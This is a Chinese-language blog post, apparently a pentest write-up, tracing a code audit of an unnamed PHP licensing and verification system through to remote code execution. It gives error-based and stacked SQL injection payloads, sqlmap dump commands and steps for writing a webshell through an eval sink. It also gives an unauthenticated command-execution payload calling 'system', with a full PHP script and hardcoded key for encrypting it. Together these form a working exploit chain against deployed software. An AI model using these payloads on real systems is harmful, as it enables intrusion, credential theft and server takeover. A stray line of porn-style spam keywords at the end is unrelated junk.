<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    滲透實戰:代碼審計到getshell

    VSole2022-03-10 05:56:08

    0x00前言

    接到任務,需要對一些違法網站做滲透測試……

    0x01信息收集

    根據提供的目標,打開網站如下

    在嘗試弱口令無果后,根據其特征去fofa以及谷歌搜了半天,期間搜出好多個UI差不多的網站,后來發現其實這些站點都是 UI 做了變動,后端代碼都是一樣的。最終定位到該系統為某網絡驗證系統

    下載最新版的代碼到本地,開始審計。

    0x02源碼解密

    安裝完成后

    打開首頁結果彈了沒有授權

    想來應該是需要交錢授權域名才能正常使用。我們回到代碼看看,入手是個index.php

    跟進core/common.php看看

    被加密了,加密類型是一代魔方。不過猜也猜的出來應該是在這個php文件和遠程的一個地址進行了一個通信,判斷有沒有授權。而在其網站下載源碼的時候就有個授權查詢功能(見前面圖),大膽猜測一波就是向這個域名的某個 api 發起的請求,所以直接去hosts屏蔽掉這個地址就可以了

    接著又發現很多關鍵文件都存在混淆內容,看起來是 phpjm 類型

    不過不用慌,我們可以通過動態調試解出來。這里舉例Db.php,該 PHP 文件的作用通過名字也可以判斷出來作用是封裝數據庫的方法,所以我們去登錄的地方(會和數據庫交互)打上斷點

    然后去登錄框輸入賬號密碼驗證碼,點擊登錄

    然后執行的流程就會停留在斷點處

    接著F11跟進,就會跳轉進Db.php文件中,成功解密得到源代碼

    再格式化美化一下代碼,就能舒服的開始審計了

    其他做了混淆的 PHP 文件也是采用相同的辦法獲取到源代碼,不再贅述

    0x03多處前臺SQL注入

    首先看登錄點

    這里使用了結構化傳參,即使我們輸入單引號即admin',最終也會被轉義成如下語句到數據庫中進行查詢username='admin\'',無法閉合單引號。我們繼續找其他點。

    接下來發現Common.php的類初始化方法里面傳入的id參數沒有單引號包裹

    也就是我們傳入id=1'的時候經過結構化傳參變成了id=1\',依然多出一個單引號導致 SQL 注入,接下來就是找哪個地方調用了這個類的init辦法。

    最終我選中了SingleCard.php文件,這里的SingleCard類繼承了Common,并且在__construct()使用了父類的init方法

    之所以我選擇該處還有一個重要原因就是,這里沒有判斷登錄,所以是前臺的sql注入,這里截圖其他判斷了登錄的地方做個對比

    測試如下

    證明存在 SQL 注入之后,就是寫 exp 進行利用。這里可以通過盲注的形式去讀數據,但耗時比較長,所以我選擇通過報錯注入的方式

    updatexml()是一個使用不同的xml標記匹配和替換xml塊的函數。
    updatexml使用時,當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax error)
    #讀取數據庫中的表
    data=123456&id=1and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema=database())),1)
    

    不過因為報錯注入最長返回長度只有32位,我們可以通過mid()函數控制回顯位置

    #讀取回顯內容的第33位開始的60位,因為限制最大返回32,所以回顯的是32個長度內容
    1and updatexml(1,mid(concat(1,(select group_concat(table_name)from information_schema.tables where table_schema=database())),33,60),1)
    

    不過這樣依然麻煩,我們通過 sqlmap 指定報錯注入來幫我們完成數據讀取

    python3 sqlmap.py -r 1.txt-p "id"--dbms=mysql --technique=E -D bingxin -T BX_menber -C 'username,password,salt'-
    -dump
    

    獲取到賬號密碼以及加鹽的值之后就可以去 cmd5 解密得到管理員權限。當然因為本地搭建起來的環境,我知道密碼,直接admin/admin登錄了。

    注意:這里只要繼承了前面的Common類方法的 php 文件都會存在 SQL 注入,這里就不一一列舉了。

    0x04后臺兩處代碼執行getshell

    當然審計肯定不甘心止步于 SQL 注入,繼續嘗試是否存在 getshell 的利用鏈。全局搜索eval函數,發現兩處

    上圖中可以看到,這里從數據庫的表software中獲取了兩個字段的值,即encrypt字段和defined_encrypt字段,如果這兩個字段我們可控,那么便可以構造代碼執行,進而通過命令執行 getshell。邏輯如下

    1、首先將 software 表中的字段 encrypt 的值定義給常量 API_ENCRYPT
    2、if條件判斷如果 API_ENCRYPT 的值為 defined_encrypt,進入eval函數執行,并且其參數為字段 defined_encrypt 的值
    3、所以我們只要能設置 software 表中的字段 encrypt 的值為 defined_encrypt,字段 defined_encrypt 的值為 phpinfo();就能代碼執行
    

    我們去數據庫中查看一下software

    表中內容為空,我們在后臺創建一下

    在數據庫中看到默認寫入encrypt字段的值為authcode,而defined_encrypt字段的值則為空

    在代碼中也證實了這一點

    接下來找到了一個可以更改這兩個字段的方法

    構造 POST 請求

    再看一下數據庫,更新成功!

    現在只要是繼承了Common類的初始化方法的所有php文件路由方法都能觸發eval函數導致代碼執行,這里舉例幾處

    寫入 webshell

    訪問觸發eval函數執行

    在web根目錄下生成webshell

    另一個 eval 函數也是相同的利用思路,放一下利用鏈圖,這里不再贅述

    0x05前臺代碼執行getshell

    可以看到前面的代碼執行都是基于能獲取到管理員密碼明文的前提條件下,如果cmd5解密不出來就沒法利用了。所以我們再次開始審計,尋找前臺代碼執行的利用條件

    這里全局搜索,找到call_user_func_array()函數

    call_user_func_array ( callable $callback , array $param_arr ) : mixed
    作用:調用回調函數,并把一個數組參數作為回調函數的參數

    可以看到其兩個參數都是$data變量中的nameparam,我們跟進parseData()查看傳參來源

    發現parseData()方法的作用是對$this->data進行 json 格式的字符串解碼,繼續往上跟$this->data

    發現$this->databx_decrypt解密而得,繼續跟進bx_decrypt方法

    這里switch有多種加密方式選擇,我們前面已經知道數據庫中軟件的默認加密方式為authcode,所以我們這里選擇跟進authcode

    通過代碼可以看到authcode方法即包含加密功能也包含解密功能,如果authcode方法第二個參數為空,則進行加密;如果第二個參數為DECODE,則進行解密。

    所以我們可以通過這個函數去加密我們的 payload。先返回前面存在call_user_func_array的方法去查看 payload 如何構造,貼關鍵代碼

    publicfunction remoteFun()
    {
            $data = $this->parseData();
            empty($data['name'])?exit(api_json('1402')): FALSE;
            do_action('api_software_remote_fun',[$data]);
    eval($this->software['0']['remote']);
    if(!function_exists($data['name'])){
    exit(api_json('1401'));
    }
            $fun_param_num = count(get_fucntion_parameter_name($data['name']));
    if($fun_param_num !='0'){
                empty($data['param'])?exit(api_json('1402')): FALSE;
                $res_param_num = count($data['param']);
    if($fun_param_num != $res_param_num){
    exit(api_json('1403'));
    }
    }else{
                $data['param']= array();
    }
            $test = $data['param'];
            $testst = $data['name'];
    exit(api_json('1408', array('result'=>@call_user_func_array($data['name'], $data['param']))));
    }
    

    首先我們前面已經知道 payload 的明文形式應該為 json 格式,分析一下remoteFun方法,其中get_fucntion_parameter_name方法代碼如下

    會獲取參數個數,即如果我們傳入{"name":"system","param":"ls"},這里 return 為2。

    再繼續往下看,這段代碼通過count獲取 param 個數,上述 payload 中,param 只有一個ls,所以將會返回為1

    $res_param_num = count($data['param']);
    

    繼續往下的判斷條件會判斷是否相等,如果不相等流程將會停止退出

    if($fun_param_num != $res_param_num){
    exit(api_json('1403'));
    }
    

    所以我們最終構造的payload如下,往param中填充多余的一個值,使其數量相等滿足 if 條件判斷

    {"name":"system","param":["ls","dotast"]}
    

    payload已經構造好了,接下來就是將 payload 進行加密。我們看看哪里用到authcode方法進行加密。全局搜索后,發現登錄的時候調用過這個方法進行加密

    所以我們可以構造 exp 如下,exp 中加密需要用到的 key 可以通過上面的前臺 SQL 注入讀取到

    php
    function authcode($string, $operation ='DECODE', $key ='', $expiry =0)
    {
        $ckey_length =4;
        $key = md5($key);
        $keya = md5(substr($key,0,16));
        $keyb = md5(substr($key,16,16));
        $keyc = $ckey_length ?($operation =='DECODE'? substr($string,0, $ckey_length): substr(md5(microtime()),-$ckey_length)):'';
        $cryptkey = $keya . md5($keya . $keyc);
        $key_length = strlen($cryptkey);
        $string = $operation =='DECODE'? base64_decode(substr($string, $ckey_length)): sprintf('0d', $expiry ? $expiry + time():0). substr(md5($string . $keyb),0,16). $string;
        $string_length = strlen($string);
        $result ='';
        $box = range(0,255);
        $rndkey = array();
    for($i =0; $i <=255; $i++){
            $rndkey[$i]= ord($cryptkey[$i % $key_length]);
    }
    for($j = $i =0; $i <256; $i++){
            $j =($j + $box[$i]+ $rndkey[$i])%256;
            $tmp = $box[$i];
            $box[$i]= $box[$j];
            $box[$j]= $tmp;
    }
    for($a = $j = $i =0; $i < $string_length; $i++){
            $a =($a +1)%256;
            $j =($j + $box[$a])%256;
            $tmp = $box[$a];
            $box[$a]= $box[$j];
            $box[$j]= $tmp;
            $result .= chr(ord($string[$i])^($box[($box[$a]+ $box[$j])%256]));
    }
    if($operation =='DECODE'){
    if((substr($result,0,10)==0|| substr($result,0,10)- time()>0)&& substr($result,10,16)== substr(md5(substr($result,26). $keyb),0,16)){
    return substr($result,26);
    }else{
    return'';
    }
    }else{
    return $keyc . str_replace('=','', base64_encode($result));
    }
    }
    
    setcookie('test', authcode('{"name":"system","param":["ls","123456"]}','','zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw'), time()+3600,'/');
    
    ?>
    

    訪問后,加密的payload會回顯在Cookie

    然后通過remoteFun方法觸發call_user_func_array函數代碼執行

    當然,加密部分也不用那么麻煩,因為setcookie回顯時只是加了一層URL編碼處理,所以加密 payload 腳本也可以寫成

    php
    
    function authcode($string, $operation ='DECODE', $key ='', $expiry =0)
    {
        $ckey_length =4;
        $key = md5($key);
        $keya = md5(substr($key,0,16));
        $keyb = md5(substr($key,16,16));
        $keyc = $ckey_length ?($operation =='DECODE'? substr($string,0, $ckey_length): substr(md5(microtime()),-$ckey_length)):'';
        $cryptkey = $keya . md5($keya . $keyc);
        $key_length = strlen($cryptkey);
        $string = $operation =='DECODE'? base64_decode(substr($string, $ckey_length)): sprintf('0d', $expiry ? $expiry + time():0). substr(md5($string . $keyb),0,16). $string;
        $string_length = strlen($string);
        $result ='';
        $box = range(0,255);
        $rndkey = array();
    for($i =0; $i <=255; $i++){
            $rndkey[$i]= ord($cryptkey[$i % $key_length]);
    }
    for($j = $i =0; $i <256; $i++){
            $j =($j + $box[$i]+ $rndkey[$i])%256;
            $tmp = $box[$i];
            $box[$i]= $box[$j];
            $box[$j]= $tmp;
    }
    for($a = $j = $i =0; $i < $string_length; $i++){
            $a =($a +1)%256;
            $j =($j + $box[$a])%256;
            $tmp = $box[$a];
            $box[$a]= $box[$j];
            $box[$j]= $tmp;
            $result .= chr(ord($string[$i])^($box[($box[$a]+ $box[$j])%256]));
    }
    if($operation =='DECODE'){
    if((substr($result,0,10)==0|| substr($result,0,10)- time()>0)&& substr($result,10,16)== substr(md5(substr($result,26). $keyb),0,16)){
    return substr($result,26);
    }else{
    return'';
    }
    }else{
    return $keyc . str_replace('=','', base64_encode($result));
    }
    }
    
    $a = authcode('{"name":"system","param":["whoami","123456"]}','','zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw');
    echo urlencode($a);
    ?>
    

    0x6后臺兩處代碼執行擴大到前臺代碼執行

    前面我們已經知道后臺兩處代碼執行依賴于管理員權限進入后臺后,借助路由發起 POST 請求修改數據庫的encryptdefined_encrypt字段,那如果有辦法可以不通過管理員權限就能修改數據庫字段,不就可以升級成前臺的代碼執行啦?念頭一閃,我們繼續回到前臺 SQL 點。

    測試存在 堆疊注入 !堆疊注入可以干什么?可以對數據庫執行增刪改操作呀~

    用 sqlmap 指定堆疊注入,然后獲取 sql-shell 執行 SQL語句

    python3 sqlmap.py -r 1.txt--dbms=mysql -p "id"--technique=S --sql-shell
    

    然后修改數據庫字段

    這里因為堆疊注入是不回顯的,所以返回 NULL,其實已經執行了修改操作,我們可以去后臺數據庫驗證一下

    選擇繼承了父類Commoninit()方法的路由進行測試

    可以看到執行了phpinfo();,最終成功配合 SQL 將后臺代碼執行擴大到前臺代碼執行,最后所有繼承了Common類的初始化方法的php文件其路由方法訪問都能觸發eval函數導致代碼執行 getshell

    0x07總結

    代碼審計其實是一項挺耗費心神的工作,但是只要有足夠的耐心和堅持,在 getshell 的那一刻還是有很強烈的滿足感的,繼續加油吧~

    substrdecode
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    oracle注入繞狗
    2021-10-14 15:03:05
    0x00 前言最近學習了oracle注入,和mysql比語法差異還是有的,做下小記錄,后面是嘗試繞狗。0x01 簡單fuzz空白符%09 %0A %0B %0C %0D. 當注入類型為數字型即id=1union select 全字符url編碼fuzz一遍后,發現%2E %44 %46 %64 %66這些字符添加不影響SQL語句運行
    因前段時間退出了內網的學習,現在開始復習web方面的漏洞了,于是乎,開始了挖洞之旅,當我像往常一樣上傳冰蝎的webhsell時,發現冰蝎的馬子居然被殺了.......于是便有了該文章.....
    數據庫注入提權總結
    2022-08-10 15:52:54
    首先,不能直接將該函數注入子查詢中,因為 Oracle 不支持堆疊查詢 。其次,只有數據庫管理員才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函數將為從 RDS 管道返回的數據等待 10 秒。
    前言在系統被入侵后,需要迅速梳理出黑客的攻擊路徑,本文總結windows系統攻擊溯源過程中必要的排查范圍。排查項目用戶查看當前登錄用戶query user
    因前段時間退出了內網的學習,現在開始復習web方面的漏洞了,于是乎,開始了挖洞之旅,當我像往常一樣上傳冰蝎的webhsell時,發現冰蝎的馬子居然被殺了.......于是便有了該文章.....
    今天公司做技術分享,分享了項目中的一個攻擊metinfo的案例,很有意思的攻擊鏈,記錄下。關于svn泄露需要注意的是SVN 版本 >1.7 時,Seay的工具不能dump源碼了。config/config.inc.php:109有了這個key,我們可以自己針對性去加密解密程序密文。正則匹配導致的注入全局搜索$auth->decode尋找可控的參數,并且不走過濾的。
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。這只是一個簡單的總結,只是簡單的為新手分享一下SQL注入,文中內容可能會存在錯誤,望大佬們手下留情!0x01 Mysql 手工注入1.1 聯合注入?id=0' union select 1,2,3,group_concat from users --+#group_concat 可替換為 concat_ws
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类